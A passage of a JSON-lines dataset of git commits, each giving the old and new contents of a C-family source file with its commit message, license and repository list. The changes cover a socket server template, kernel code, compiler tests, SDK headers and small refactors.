wift,austinzheng\/swift,sschiau\/swift,JaSpa\/swift,jopamer\/swift,kstaring\/swift,manavgabhawala\/swift,tardieu\/swift,jmgc\/swift,russbishop\/swift"}
{"commit":"8668174b5db5a471a5da1dbf7c9816bd18e561c9","old_file":"io\/socket\/simple_server.h","new_file":"io\/socket\/simple_server.h","old_contents":"","new_contents":"#ifndef\tIO_SOCKET_SIMPLE_SERVER_H\n#define\tIO_SOCKET_SIMPLE_SERVER_H\n\n#include <io\/socket\/socket.h>\n\n\/*\n * XXX\n * This is just one level up from using macros.  Would be nice to use abstract\n * base classes and something a bit tidier.\n *\/\ntemplate<typename A, typename C, typename L>\nclass SimpleServer {\n\tLogHandle log_;\n\tA arg_;\n\tL *server_;\n\tAction *accept_action_;\n\tAction *close_action_;\n\tAction *stop_action_;\npublic:\n\tSimpleServer(LogHandle log, A arg, SocketAddressFamily family, const std::string& interface)\n\t: log_(log),\n\t  arg_(arg),\n\t  server_(NULL),\n\t  accept_action_(NULL),\n\t  close_action_(NULL),\n\t  stop_action_(NULL)\n\t{\n\t\tserver_ = L::listen(family, interface);\n\t\tif (server_ == NULL)\n\t\t\tHALT(log_) << \"Unable to create listener.\";\n\n\t\tINFO(log_) << \"Listening on: \" << server_->getsockname();\n\n\t\tEventCallback *cb = callback(this, &SimpleServer::accept_complete);\n\t\taccept_action_ = server_->accept(cb);\n\n\t\tCallback *scb = callback(this, &SimpleServer::stop);\n\t\tstop_action_ = EventSystem::instance()->register_interest(EventInterestStop, scb);\n\t}\n\n\t~SimpleServer()\n\t{\n\t\tASSERT(server_ == NULL);\n\t\tASSERT(accept_action_ == NULL);\n\t\tASSERT(close_action_ == NULL);\n\t\tASSERT(stop_action_ == NULL);\n\t}\n\nprivate:\n\tvoid accept_complete(Event e)\n\t{\n\t\taccept_action_->cancel();\n\t\taccept_action_ = NULL;\n\n\t\tswitch (e.type_) {\n\t\tcase Event::Done:\n\t\t\tbreak;\n\t\tcase Event::Error:\n\t\t\tERROR(log_) << \"Accept error: \" << e;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tERROR(log_) << \"Unexpected event: \" << e;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (e.type_ == Event::Done) {\n\t\t\tSocket *client = (Socket *)e.data_;\n\n\t\t\tINFO(log_) << \"Accepted client: \" << client->getpeername();\n\n\t\t\tnew C(arg_, client);\n\t\t}\n\n\t\tEventCallback *cb = callback(this, &SimpleServer::accept_complete);\n\t\taccept_action_ = server_->accept(cb);\n\t}\n\n\tvoid close_complete(void)\n\t{\n\t\tclose_action_->cancel();\n\t\tclose_action_ = NULL;\n\n\t\tASSERT(server_ != NULL);\n\t\tdelete server_;\n\t\tserver_ = NULL;\n\n\t\tdelete this;\n\t}\n\n\tvoid stop(void)\n\t{\n\t\tstop_action_->cancel();\n\t\tstop_action_ = NULL;\n\n\t\taccept_action_->cancel();\n\t\taccept_action_ = NULL;\n\n\t\tASSERT(close_action_ == NULL);\n\n\t\tCallback *cb = callback(this, &SimpleServer::close_complete);\n\t\tclose_action_ = server_->close(cb);\n\t}\n};\n\n#endif \/* !IO_SOCKET_SIMPLE_SERVER_H *\/\n","subject":"Add a simple server abstraction.","message":"Add a simple server abstraction.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"75f9dacba8845a7fbca6a4f01432ec048bb7d478","old_file":"thread_info.h","new_file":"thread_info.h","old_contents":"\n\ntypedef struct saved_thread_info\n{\n\tlong thread_id;\n\tlong record_num;\n} thread_info;","new_contents":"\n\ntypedef struct saved_thread_info\n{\n\tlong thread_id;\n\tlong record_num;\n\tint fd;\n\tpthread_mutex_t * file_lock;\n} thread_info;","subject":"Add file descriptor and file mutex to thread info","message":"Add file descriptor and file mutex to thread info\n","lang":"C","license":"bsd-3-clause","repos":"russellfolk\/Pthread_Power_Fault_Tester,russellfolk\/Pthread_Power_Fault_Tester,russellfolk\/Pthread_Power_Fault_Tester"}
{"commit":"4daf51b49667359b113d43fa859967cfe63858de","old_file":"examples\/badness.c","new_file":"examples\/badness.c","old_contents":"","new_contents":"#include \"rmc.h\"\n\nextern int coin(void);\n\n\/\/ A test that should be really bad because exponents.\n\/\/ Only takes like a minute or so!\nvoid welp(int *p, int *q) {\n    VEDGE(a, b);\n    L(a, *p = 1);\n\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    \/\/ 4\n\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    \/\/ 8\n\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    if (coin()){}\n    \/\/ 16\n\n    L(b, *q = 1);\n}\n","subject":"Implement a test that demonstrates the exponential blowup of our system","message":"Implement a test that demonstrates the exponential blowup of our system\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"3e7ffd30eca811f0ab853c6ccb5dfd4c94050dbc","old_file":"src\/Config.h","new_file":"src\/Config.h","old_contents":"#ifndef CTCONFIG_H\n#define CTCONFIG_H\n\n#define ENABLE_ASSERT_CHECKS\n\/\/#define CT_NODE_DEBUG\n\/\/#define ENABLE_INTEGRITY_CHECK\n\/\/#define ENABLE_COUNTERS\n\/\/#define ENABLE_PAGING\n\n#endif \/\/ CTCONFIG_H\n","new_contents":"#ifndef CTCONFIG_H\n#define CTCONFIG_H\n\n\/\/#define ENABLE_ASSERT_CHECKS\n\/\/#define CT_NODE_DEBUG\n\/\/#define ENABLE_INTEGRITY_CHECK\n\/\/#define ENABLE_COUNTERS\n\/\/#define ENABLE_PAGING\n\n#endif \/\/ CTCONFIG_H\n","subject":"Disable assert checks as default","message":"Disable assert checks as default\n","lang":"C","license":"mit","repos":"sopwithcamel\/cbt,sopwithcamel\/cbt"}
{"commit":"10fe49ad03b2732259162132eca2699db47ef995","old_file":"TeamSnapSDK\/SDK\/DataTypes\/Lineups\/TSDKEventLineupEntry.h","new_file":"TeamSnapSDK\/SDK\/DataTypes\/Lineups\/TSDKEventLineupEntry.h","old_contents":"\/\/\n\/\/  TSDKEventLinupEntry.h\n\/\/  TeamSnapSDK\n\/\/\n\/\/  Created by Jason Rahaim on 4\/10\/18.\n\/\/  Copyright © 2018 teamsnap. All rights reserved.\n\/\/\n\n#import <TeamSnapSDK\/TeamSnapSDK.h>\n\n@interface TSDKEventLineupEntry : TSDKCollectionObject\n\n@property (nonatomic, weak) NSString *_Nullable eventLineupId;\n@property (nonatomic, weak) NSString *_Nullable memberId;\n@property (nonatomic, assign) NSInteger sequence;\n@property (nonatomic, weak) NSString *_Nullable label; \/\/(max 50)\n@property (nonatomic, weak, readonly) NSString *_Nullable memberName;\n@property (nonatomic, weak, readonly) NSString *_Nullable memberPhoto;\n@property (nonatomic, assign, readonly) TSDKAvailabilityState availabilityStatusCode;\n\n@end\n","new_contents":"\/\/\n\/\/  TSDKEventLinupEntry.h\n\/\/  TeamSnapSDK\n\/\/\n\/\/  Created by Jason Rahaim on 4\/10\/18.\n\/\/  Copyright © 2018 teamsnap. All rights reserved.\n\/\/\n\n#import <TeamSnapSDK\/TeamSnapSDK.h>\n\n@interface TSDKEventLineupEntry : TSDKCollectionObject\n\n@property (nonatomic, weak) NSString *_Nullable eventLineupId;\n@property (nonatomic, weak) NSString *_Nullable memberId;\n@property (nonatomic, assign) NSInteger sequence;\n@property (nonatomic, weak) NSString *_Nullable label; \/\/(max 50)\n@property (nonatomic, weak) NSString *_Nullable memberName;\n@property (nonatomic, weak, readonly) NSString *_Nullable memberPhoto;\n@property (nonatomic, assign) TSDKAvailabilityState availabilityStatusCode;\n\n@end\n","subject":"Remove readonly from member name and availability so we can create entries locally.","message":"Remove readonly from member name and availability so we can create entries locally.\n","lang":"C","license":"mit","repos":"teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS"}
{"commit":"d1229c61a331405d3ddb39bab47225a4c6d876e6","old_file":"code\/tests\/workq_bench.c","new_file":"code\/tests\/workq_bench.c","old_contents":"#include \"checks.h\"\n#include \"common.h\"\n#include \"layout.h\"\n#include \"workqueue.h\"\n\nint main(int argc, char **argv)\n{\n  adlb_code ac;\n\n  \/\/ Workaround: disable debug logging to avoid calls to MPI_WTime\n  xlb_debug_enabled = false;\n\n  xlb_s.types_size = 1;\n  int comm_size = 64;\n\n  \/\/ TODO: need way to provide hostnames\n  const struct xlb_hostnames *hostnames = NULL;\n\n  ac = xlb_layout_init(comm_size, comm_size - 1, 1,\n                       hostnames, &xlb_s.layout);\n  assert(ac == ADLB_SUCCESS);\n\n  ac = xlb_workq_init(xlb_s.types_size, &xlb_s.layout);\n  assert(ac == ADLB_SUCCESS);\n\n}\n","new_contents":"#include \"checks.h\"\n#include \"common.h\"\n#include \"layout.h\"\n#include \"workqueue.h\"\n\nstatic void make_fake_hosts(const char **fake_hosts, int comm_size);\n\nint main(int argc, char **argv)\n{\n  adlb_code ac;\n\n  \/\/ Workaround: disable debug logging to avoid calls to MPI_WTime\n  xlb_debug_enabled = false;\n\n  xlb_s.types_size = 1;\n  int comm_size = 64;\n  int my_rank = comm_size - 1;\n  int nservers = 1;\n\n\n  const char *fake_hosts[comm_size];\n  make_fake_hosts(fake_hosts, comm_size);\n\n  struct xlb_hostnames hostnames;\n  ac = xlb_hostnames_fill(&hostnames, fake_hosts, comm_size, my_rank);\n  ADLB_CHECK(ac);\n\n  ac = xlb_layout_init(comm_size, my_rank, nservers,\n                       &hostnames, &xlb_s.layout);\n  assert(ac == ADLB_SUCCESS);\n\n  ac = xlb_workq_init(xlb_s.types_size, &xlb_s.layout);\n  assert(ac == ADLB_SUCCESS);\n\n}\n\nstatic void make_fake_hosts(const char **fake_hosts, int comm_size)\n{\n  for (int i = 0; i < comm_size; i++) {\n    switch (i % 8)\n    {\n      case 0:\n        fake_hosts[i] = \"ZERO\";\n        break;\n      case 1:\n        fake_hosts[i] = \"ONE\";\n        break;\n      case 2:\n        fake_hosts[i] = \"TWO\";\n        break;\n      case 3:\n        fake_hosts[i] = \"THREE\";\n        break;\n      case 4:\n        fake_hosts[i] = \"FOUR\";\n        break;\n      case 5:\n        fake_hosts[i] = \"FIVE\";\n        break;\n      case 6:\n        fake_hosts[i] = \"SIX\";\n        break;\n      case 7:\n        fake_hosts[i] = \"SEVEN\";\n        break;\n    }\n  }\n}\n","subject":"Create fake hostnames in test","message":"Create fake hostnames in test\n\ngit-svn-id: 51d371801c0de2a0625fbca80cd99d181c32913f@15044 dc4e9af1-7f46-4ead-bba6-71afc04862de\n","lang":"C","license":"apache-2.0","repos":"swift-lang\/swift-t,swift-lang\/swift-t,swift-lang\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,swift-lang\/swift-t,JohnPJenkins\/swift-t,swift-lang\/swift-t,swift-lang\/swift-t,JohnPJenkins\/swift-t,basheersubei\/swift-t,basheersubei\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,blue42u\/swift-t,blue42u\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,blue42u\/swift-t,swift-lang\/swift-t,JohnPJenkins\/swift-t"}
{"commit":"e42516dd75679263421b8d857ab9968eb1939f8a","old_file":"src\/fwd.h","new_file":"src\/fwd.h","old_contents":"#pragma once\r\n\r\n\/\/ Block data structures.\r\nclass CBlock;\r\nclass CBlockIndex;\r\n\r\n","new_contents":"#pragma once\r\n\r\n\/\/ Block data structures.\r\nclass CBlock;\r\nclass CBlockIndex;\r\n\r\n\/\/ Gridcoin\r\nstruct MiningCPID;\r\nstruct StructCPID;\r\nstruct StructCPIDCache;\r\n","subject":"Add Gridcoin structs to forward file.","message":"Add Gridcoin structs to forward file.\n","lang":"C","license":"mit","repos":"Git-Jiro\/Gridcoin-Research,theMarix\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,fooforever\/Gridcoin-Research,theMarix\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,gridcoin\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,fooforever\/Gridcoin-Research,gridcoin\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,theMarix\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,fooforever\/Gridcoin-Research,fooforever\/Gridcoin-Research,fooforever\/Gridcoin-Research,gridcoin\/Gridcoin-Research,theMarix\/Gridcoin-Research,caraka\/gridcoinresearch,Git-Jiro\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,fooforever\/Gridcoin-Research,gridcoin\/Gridcoin-Research,caraka\/gridcoinresearch,TheCharlatan\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,gridcoin\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,caraka\/gridcoinresearch,caraka\/gridcoinresearch,tomasbrod\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,caraka\/gridcoinresearch,gridcoin\/Gridcoin-Research,theMarix\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,theMarix\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,Lederstrumpf\/Gridcoin-Research,caraka\/gridcoinresearch,TheCharlatan\/Gridcoin-Research"}
{"commit":"0805cc34a1fb29ac933d536377281258e4b81fa0","old_file":"src\/kernel.c","new_file":"src\/kernel.c","old_contents":"#include <rose\/screen.h>\n#include <rose\/descriptor-tables.h>\n\nextern void protected_mode_start(void);\n\nvoid\nkmain(void)\n{\n    screen_clear();\n    gdt_init();\n    protected_mode_start();\n\n    screen_write_string_at(\"Hello from rOSe (in protected mode!)\", 0, 0);\n}\n","new_contents":"#include <rose\/screen.h>\n#include <rose\/stdint.h>\n#include <rose\/descriptor-tables.h>\n\nextern void protected_mode_start(void);\n\nstruct registers {\n    uint32_t ds;\n    uint32_t edi;\n    uint32_t esi;\n    uint32_t ebp;\n    uint32_t esp;\n    uint32_t ebx;\n    uint32_t edx;\n    uint32_t ecx;\n    uint32_t eax;\n    uint32_t interrupt_no;\n    uint32_t error_code;\n    uint32_t eip;\n    uint32_t cs;\n    uint32_t eflags;\n} __attribute__((packed));\n\nvoid\ngeneral_isr(struct registers regs)\n{\n    screen_write_string_at(\"Handling interrupt: 0x\", 0, 1);\n    screen_write_integer_at(regs.interrupt_no, 16, 22, 1);\n}\n\nvoid\nkmain(void)\n{\n    screen_clear();\n    gdt_init();\n    protected_mode_start();\n\n    screen_write_string_at(\"Hello from rOSe (in protected mode!)\", 0, 0);\n}\n","subject":"Create a general interrupt handler","message":"Create a general interrupt handler\n","lang":"C","license":"mit","repos":"hoelzro\/rose-kernel,hoelzro\/rose-kernel"}
{"commit":"88b427fa738595364352560b66ec904b2b55f9ae","old_file":"src\/module.h","new_file":"src\/module.h","old_contents":"#define MODULE_NAME \"fish\"\n\n#include <irssi-config.h>\n\n#include <common.h>\n#include <core\/servers.h>\n#include <core\/settings.h>\n#include <core\/levels.h>\n#include <core\/signals.h>\n#include <core\/commands.h>\n#include <core\/queries.h>\n#include <core\/channels.h>\n#include <core\/recode.h>\n#include <core\/servers.h>\n#include <fe-common\/core\/printtext.h>\n#include <fe-common\/core\/window-items.h>\n#include <fe-common\/core\/keyboard.h>\n#include <fe-common\/irc\/module-formats.h>\n#include <irc\/core\/irc.h>\n\n#ifdef ischannel\n#undef ischannel\n#endif\n\n#include <irc\/core\/irc-commands.h>\n#include <irc\/core\/irc-servers.h>\n\nvoid irssi_redraw(void);\n\nQUERY_REC *irc_query_create(const char *server_tag, const char *nick,\n\t\t\t    int automatic);\n","new_contents":"#define MODULE_NAME \"fish\"\n\n#include <irssi-config.h>\n\n#include <common.h>\n#include <core\/servers.h>\n#include <core\/settings.h>\n#include <core\/levels.h>\n#include <core\/signals.h>\n#include <core\/commands.h>\n#include <core\/queries.h>\n#include <core\/channels.h>\n#include <core\/recode.h>\n#include <core\/servers.h>\n#include <fe-common\/core\/printtext.h>\n#include <fe-common\/core\/window-items.h>\n#include <fe-common\/core\/keyboard.h>\n#include <fe-common\/irc\/module-formats.h>\n#include <irc\/core\/irc.h>\n\n#ifdef ischannel\n#undef ischannel\n#endif\n\n#include <irc\/core\/irc-commands.h>\n#include <irc\/core\/irc-servers.h>\n\nvoid irssi_redraw(void);\n\nQUERY_REC *irc_query_create(const char *server_tag, const char *nick,\n        int automatic);\n","subject":"Convert tabs to spaces and indent","message":"Convert tabs to spaces and indent\n","lang":"C","license":"mit","repos":"falsovsky\/FiSH-irssi"}
{"commit":"296d9ee9a6d0143c4ef3e60c13c798f592962c0a","old_file":"include\/gpu\/gl\/SkMesaGLContext.h","new_file":"include\/gpu\/gl\/SkMesaGLContext.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GLint   fOldWidth;\n        GLint   fOldHeight;\n        GLint   fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GrGLint fOldWidth;\n        GrGLint fOldHeight;\n        GrGLint fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","subject":"Fix undefined GLint in Mac builds","message":"Fix undefined GLint in Mac builds\n\n\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"8dafd5d540a8ed88465f6fdb32ebb219e2f82cd0","old_file":"common\/src\/models\/models.h","new_file":"common\/src\/models\/models.h","old_contents":"\/*\n * Copyright 2021 The CFU-Playground Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _MODELS_H\n#define _MODELS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ For integration into menu system\nvoid models_menu();\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ _MODELS_H","new_contents":"\/*\n * Copyright 2021 The CFU-Playground Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _MODELS_H\n#define _MODELS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ For integration into menu system\nvoid models_menu();\nvoid no_menu();\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ _MODELS_H\n","subject":"Add prototype to header file for compilation to succeed if no TFLM model included in Makefile","message":"Add prototype to header file for compilation to succeed if no TFLM model included in Makefile\n\nSigned-off-by: ShvetankPrakash <1a565be4c7f481ed31060d5d811c95b3207c5b09@g.harvard.edu>\n","lang":"C","license":"apache-2.0","repos":"google\/CFU-Playground,google\/CFU-Playground,google\/CFU-Playground,google\/CFU-Playground"}
{"commit":"89cbba52eea1a2ea2c806872b04a3b300f0004da","old_file":"assembly\/printconst.c","new_file":"assembly\/printconst.c","old_contents":"","new_contents":"\/*\n * printconst - Read a constant and print it \n *\n * Written in 2012 by Prashant P Shah <pshah.mumbai@gmail.com>\n *\n * To the extent possible under law, the author(s) have dedicated\n * all copyright and related and neighboring rights to this software\n * to the public domain worldwide. This software is distributed\n * without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication\n * along with this software.\n * If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\/\n\n#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n\tint val = 0;\n\tasm(\"MOV $100, %0\" : \"=r\"(val));\n\tprintf(\"val = %d\\n\", val);\n\treturn 0;\n}\n","subject":"Copy a constant value to a variable and print it","message":"Copy a constant value to a variable and print it\n\nSigned-off-by: Prashant Shah <80f978b5ac27fb318171799f0fb6a277863f2bf5@gmail.com>\n","lang":"C","license":"cc0-1.0","repos":"prashants\/c"}
{"commit":"4491397558ef396e81657cae7a2b9e6a4917a1ae","old_file":"kernel\/include\/dennix\/kernel\/hashtable.h","new_file":"kernel\/include\/dennix\/kernel\/hashtable.h","old_contents":"","new_contents":"\/* Copyright (c) 2021 Dennis Wölfing\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n\/* kernel\/include\/dennix\/kernel\/hashtable.h\n * Hash table.\n *\/\n\n#ifndef KERNEL_HASHTABLE_H\n#define KERNEL_HASHTABLE_H\n\n#include <string.h>\n#include <dennix\/kernel\/kernel.h>\n\n\/\/ The type T must have a function hashKey() returning a unique TKey. It also\n\/\/ needs to have a member T* nextInHashTable that is managed by the hash table.\n\/\/ An object can only be member of one hash table at a time. That way we can\n\/\/ implement the hash table in a way that operations cannot fail.\ntemplate <typename T, typename TKey = size_t>\nclass HashTable {\npublic:\n    HashTable(size_t capacity, T* buffer[]) {\n        table = buffer;\n        memset(table, 0, capacity * sizeof(T*));\n        this->capacity = capacity;\n    }\n\n    void add(T* object) {\n        size_t hash = object->hashKey() % capacity;\n        object->nextInHashTable = table[hash];\n        table[hash] = object;\n    }\n\n    T* get(TKey key) {\n        size_t hash = key % capacity;\n\n        T* obj = table[hash];\n        while (obj) {\n            if (obj->hashKey() == key) {\n                return obj;\n            }\n            obj = obj->nextInHashTable;\n        }\n\n        return nullptr;\n    }\n\n    void remove(TKey key) {\n        size_t hash = key % capacity;\n\n        T* obj = table[hash];\n        if (obj->hashKey() == key) {\n            table[hash] = obj->nextInHashTable;\n            return;\n        }\n        while (obj->nextInHashTable) {\n            T* next = obj->nextInHashTable;\n            if (next->hashKey() == key) {\n                obj->nextInHashTable = next->nextInHashTable;\n                return;\n            }\n            obj = next;\n        }\n    }\nprivate:\n    T** table;\n    size_t capacity;\n};\n\n#endif\n","subject":"Implement a hash table in the kernel.","message":"Implement a hash table in the kernel.\n","lang":"C","license":"isc","repos":"dennis95\/dennix,dennis95\/dennix,dennis95\/dennix"}
{"commit":"4ef8edb2ea08f08fcaf8056909d014ccae1e6455","old_file":"cc1\/tests\/test034.c","new_file":"cc1\/tests\/test034.c","old_contents":"","new_contents":"\n\/*\nname: TEST034\ndescription: Basic test for incomplete structures\noutput:\nX3\tS2\tx\nF4\tI\tE\nX5\tF4\tfoo\nG6\tF4\tmain\n{\n\\\nX7\tS2\tx\n\tr\tX7\t'P\t#P0\t!I\n}\nG5\tF4\tfoo\n{\n\\\n\tX3\tM9\t.I\t#I0\t:I\n\tr\tX3\tM9\t.I\n}\n*\/\n\nextern struct X x;\nint foo();\n\nint main()\n{\n\textern struct X x;\n\treturn &x != 0;\n}\n\nstruct X {int v;};\n\nint foo()\n{\n\tx.v = 0;\n\treturn x.v;\n}\n","subject":"Add basic test for incomplete structs","message":"Add basic test for incomplete structs\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,8l\/scc,k0gaMSX\/scc"}
{"commit":"2a24065dbbe6b88c21da66f588b913e5f3b403fa","old_file":"test\/Preprocessor\/print_line_empty_file.c","new_file":"test\/Preprocessor\/print_line_empty_file.c","old_contents":"\/\/ RUN: %clang -E %s | FileCheck %s\n\n#line 21 \"\"\nint foo() { return 42; }\n\n#line 4 \"bug.c\" \nint bar() { return 21; }\n\n\/\/ CHECK: # 21 \"\"\n\/\/ CHECK: int foo() { return 42; }\n\/\/ CHECK: # 4 \"bug.c\"\n\/\/ CHECK: int bar() { return 21; }\n","new_contents":"\/\/ RUN: %clang_cc1 -E %s | FileCheck %s\n\n#line 21 \"\"\nint foo() { return 42; }\n\n#line 4 \"bug.c\" \nint bar() { return 21; }\n\n\/\/ CHECK: # 21 \"\"\n\/\/ CHECK: int foo() { return 42; }\n\/\/ CHECK: # 4 \"bug.c\"\n\/\/ CHECK: int bar() { return 21; }\n","subject":"Fix this test to use -cc1.","message":"Fix this test to use -cc1.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@114156 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"140311ab999dda019075b9f86661ebd51e0a144f","old_file":"src\/include\/elektraprivate.h","new_file":"src\/include\/elektraprivate.h","old_contents":"\/**\n * @file\n *\n * @brief Private declarations.\n *\n * @copyright BSD License (see doc\/LICENSE.md or http:\/\/www.libelektra.org)\n *\/\n\n#ifndef ELEKTRAPRIVATE_H\n#define ELEKTRAPRIVATE_H\n\n#include \"kdb.h\"\n\nstruct _ElektraError\n{\n    int errorNr;\n    const char * msg;\n};\n\nstruct _Elektra\n{\n    KDB * kdb;\n    KeySet * config;\n    Key * parentKey;\n\n    struct _ElektraError * error;\n};\n\n#endif \/\/ELEKTRAPRIVATE_H\n","new_contents":"\/**\n * @file\n *\n * @brief Private declarations.\n *\n * @copyright BSD License (see doc\/LICENSE.md or http:\/\/www.libelektra.org)\n *\/\n\n#ifndef ELEKTRAPRIVATE_H\n#define ELEKTRAPRIVATE_H\n\n#include \"kdb.h\"\n\nstruct _ElektraError\n{\n    int errorNr;\n    const char * msg;\n};\n\nstruct _Elektra\n{\n    KDB * kdb;\n    KeySet * config;\n    Key * parentKey;\n};\n\n#endif \/\/ELEKTRAPRIVATE_H\n","subject":"Remove error from Elektra struct","message":"Remove error from Elektra 